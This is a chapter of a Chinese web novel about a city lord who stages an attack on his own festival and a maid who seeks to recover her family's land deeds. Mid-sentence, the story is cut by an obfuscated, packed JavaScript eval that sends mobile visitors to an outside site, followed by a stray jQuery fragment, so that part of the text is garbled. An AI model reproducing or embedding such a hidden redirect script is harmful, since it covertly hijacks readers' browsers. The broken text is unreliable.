走了没几步,李行彻彻底走不动了,他倒在温之蓝身上,吐息微弱:“靠你了,小侍女。”
温之蓝背后发凉,她摸了摸自己的口袋,只够她一个人坐车回去了,从这里回城主府的路有一定距离,只怕是明日早晨都不能回。
“没钱啊……”李行彻失望地看着她。
温之蓝“嗯”了声,心里想的却是倒霉,怎么偏偏被李行彻看见了。
花车毁了,隐约还能听见身后传来的惊呼。
“城主去哪里了!城主大人呢!?”
一切都像一场闹剧,人们把火扑灭后,却发现城主不见了。
温之蓝垂下眼眸,看了眼身边的男人,夜色里,男人脸上的那一抹黑色有些刺眼,把白皙的肌肤染上一点突兀的颜色。
李行彻顺着她的视线摸了下自己的脸,搓了搓手指尖的碳色。
刚从火堆里出来,他有些嫌弃地拍了拍自己的袍子,“怎么回去?”
他正烦躁着,却听见身边传来一声叹息,转过头去:“你倒是有意思,我还没怎么样呢,不想和我待在一起?”
被说中了,温之蓝脸色有些不好看,“前面有酒寨,这里会有牛车经过,你等我问路。”
李行彻瞪大了眼,“牛车?我?”
温之蓝没管他,径直往前走去,自从意识到李行彻不能帮助自己,她就不再对任何人奴颜媚骨。
和酒家说好了之后,檐下的一块干燥地方给他们空余出来,温之蓝率先坐上去。
这不是挑剔的时候,李行彻也坐过去,紧紧挨着温之蓝。
夜色浓郁,天上的星子明亮,温之蓝一瞬不瞬地盯着地上的小水洼。
“老是盯着地上看什么?往上看。”李行彻说了句。
温之蓝移开视线,往上看了眼,才说:“不想抬头,地上也有。”
水洼里倒映的星星也很明亮。
“城主大人为什么不回去?明明没有多大的事不是吗?”温之蓝开始仰头看天上。
“那你说说,我为什么不回去?”李行彻好笑地看过去,从侧面看见了温之蓝地眼睛。
他才发现这个“女人”或许根本不算是个成年人,明亮的瞳孔中还有点稚嫩的韧劲,但是没有一点活泼和笑意。
柳叶眉,桃花眼,笑起来应该很漂亮。
少女眼睛中倒映的夜空也很明亮,李行彻恍惚间有些心虚,他动了不该的心思。
“你多大了?”李行彻听见自己问了句。
温之蓝低头,“抄家的时候十四,现在已经过了三年了。”
自从被抄家后,她就不再记得自己的生辰了,因为没有人记得。
“你知道今夜会有刺客吧,你会和我待在一起,无非是认为我动不了你,你到底想做什么?”温之蓝对上李行彻的眼睛,说出了这个结论。
李行彻一噎,“嘁,知道太多了没好处。”
*
李行彻迷迷糊糊间睡着了,这一睡过去就不知道时间了。
他恍惚间只觉得自己额头滚烫,一双手放上去后冰冰凉凉的。
睁开眼睛就看见温之蓝走过来,“起来,我们要赶路了。”
李行彻坐起来,叹了声,昨夜下了雨,他被温之蓝掀到一旁挡雨,滴滴答答淋了大半夜。
也亏得这丫头狠心,他铁定是着凉了。
走到牛车旁,原先说好的价格却算不得数了,温之蓝皱起眉头:“说好的两个人八文钱,临时变卦?”
那拉车的人明显看见了李行彻,见这个人穿着不像平常人,就说:“上不上?不上来就走了。”
十六文钱,温之蓝没有这么多,她窘迫地掏了掏口袋。
李行彻倚靠在温之蓝身边,放了一锭银子在牛背上,“快去,少废话。”
“哎,这不是有钱吗?装什么装……”拉车的没见过这么多钱,笑得颠颠的。
温之蓝看向李行彻的眼神都带着审视,这个男人有这么多钱不拿出来?害得他们在外面睡了一夜?
“看什么看,上车!”李行彻轻喘着,靠着温之蓝往车上走。
温之蓝忍着把人掀翻的冲动,坐上了车。
这是李行彻第一次坐牛车,任他怎么也想不到,牛这种畜生还能拉车。
“这什么破车……”李行彻照常嫌弃,刚说完这一句话,对上温之蓝的目光,又止住了。
温之蓝移开视线,“公子先忍耐着吧。”
这一声“公子”不知道是触动李行彻那根弦了,他竟然保持沉默到了下车。
只不过下了车就原形毕露,李行彻一边走着一边叫着,“子南!”
子南从府上走出来,即便相信李行彻有自己的办法,但是看见李行彻从门外进来还是很震惊。
因为城主大人在夏收节上遇刺,又迟迟找不到人,城中上下已经乱套了。
子南看见李行彻和温之蓝一起进来,愣了愣,随后马上说:“城主大人,已经查清了,刺客是胡人,怎么处置?”
“杀了。”
李行彻的声音从里面传来,温之蓝听着,往外走。
她倒是并不觉得新奇,这正是李行彻的行事风格。
她担心的是小葱,那孩子昨日回去奶奶家,就被留了下来,估计以后都不会再回来了。
她从此和贫民窟的关系就远了吧,曾经可以当作亲人的人,也会有一天形同陌路。
这世上,她又是一个人了。
“温之蓝,你又在这偷懒!”柳声声站在温之蓝前方,两手抱胸,“回来这么晚,你去干什么了你!?”
温之蓝脸上浮现一抹若有似无的笑容,“我昨夜和城主大人共处一晚,你说我去哪里了?”
柳声声脸色一变,随即上来就要揪住温之蓝的脸,被她躲开。
“你知道陶家的高利贷倒闭了吗?听人说那些地契都可以赎回来了。”柳声声看着她,突然道。
温之蓝家里的地契正是在陶家手上,这些年一直被陶家用来做各种事情,她以为这辈子都不会再回到她的手上。
“算了,人都死绝了,还要地干什么。”温之蓝淡声说。
就听见柳声声笑了声,说:“你不要那地,自然有人要,被城主大人收走了,你就等着哭吧。”
柳声声是何等了解温之蓝的人,这世上最能触动温之蓝的东西,莫过于家里的地。
果不其然,温之蓝看过来。
她似乎也想到了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13578674|143052||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
如今城里的地都是李行彻的,如果她不去把地拿回来,那就会落在李行彻手里。
“你如果要去的话,我也和你一起,就顺路了……”柳声声叉腰道。
和温之蓝不一样,她的卖身契是终身的,只要一天在陶家,她就一天不得自由。
如今陶家没落,她就是拼了这条命也要把卖身契赎回来。
*
陶家,门前人云密集,温之蓝在其中走得很是艰难。
“我的我的!”
“你是多少号?”
“三十七号,你换的什么?我换的我娘的嫁妆……”
一声接一声的吵嚷,温之蓝避开人群,和柳声声往中间走,终于抢到了一个号。
陶家人都已经逃到南方去了,如今剩下的庞大空壳子只有陶家的下人在,一个一个的清点钱财。
“温之蓝,你看那里!”柳声声叫了声。
温之蓝转眸过去,正对上远处的陶闻修,男人正要上车,他手肘上搭着一个细白的小手,正是他的发妻。
这是温之蓝第一次看见陶闻修的那个妻子,妇人手里抱着一个襁褓,正是她模糊记忆里的大户人家该有的样子。
陶闻修也看见了她,人群熙熙攘攘,却是四下安静。
“看呐!是陶二公子!准备跑路呢!”
不知道是谁喊了声,所有人都一窝蜂地往马车上涌去,陶闻修叫了声“快走”,马车就远远上路了。
“看来是凑够了钱,估计这一别就再也不会见了。”柳声声说话带着奚落,一转眸看见温之蓝垂着头的样子,“你不会是对陶闻修……”
柳声声一向是万叶从中过,经验了得,看不得这副样子。
“我在思考等会儿怎么说。”温之蓝回道,继续看向排队的位置。
只是这落在柳声声眼里就是失魂落魄了。
*
厢房里。
已经被关了两天的几个男人终于看见房门打开了,走进来的是城主的死侍子南。
“子南大人,请问城主回来了吗?”他们焦急地问。
子南眉眼里挤出一点笑,他们重重地松了口气。
“城主大人没事就好,快让我们回去!哎?”壮汉正准备出去,子南手臂一拦,转过头来。
子南唇角噙着笑,只是眼底冰凉一片。
“你什么意思?城主大人说的事情我们都办好了,这也没有出什么事,快让我们走!”壮汉们开始着急了。
前些日子他们偷窃本来是被斩首的,被李行彻救下说给一个机会赎罪。
假扮胡人刺客毁了夏收节祭典,谁知道李行彻竟是失踪了。
“平白无故死了个弟兄,我们还没说什么呢!”壮汉越说越气,撸起袖子就要上前。
“得亏城主大人平安回来了,不然你们几个可不够死的,怎么样,逃过死刑的滋味爽不爽?”子南笑着开口。
壮汉们脸色一变,其中一个想要夺门而出,被一脚踹在地上,那一瞬间,连动作都看不清。
只见子南动作微微调换一下,一声链条响动,鲜血染红了地毯。
地上横着几具尸体,子南看着,漠然地踢动了下,确定没有活的,才走出房间。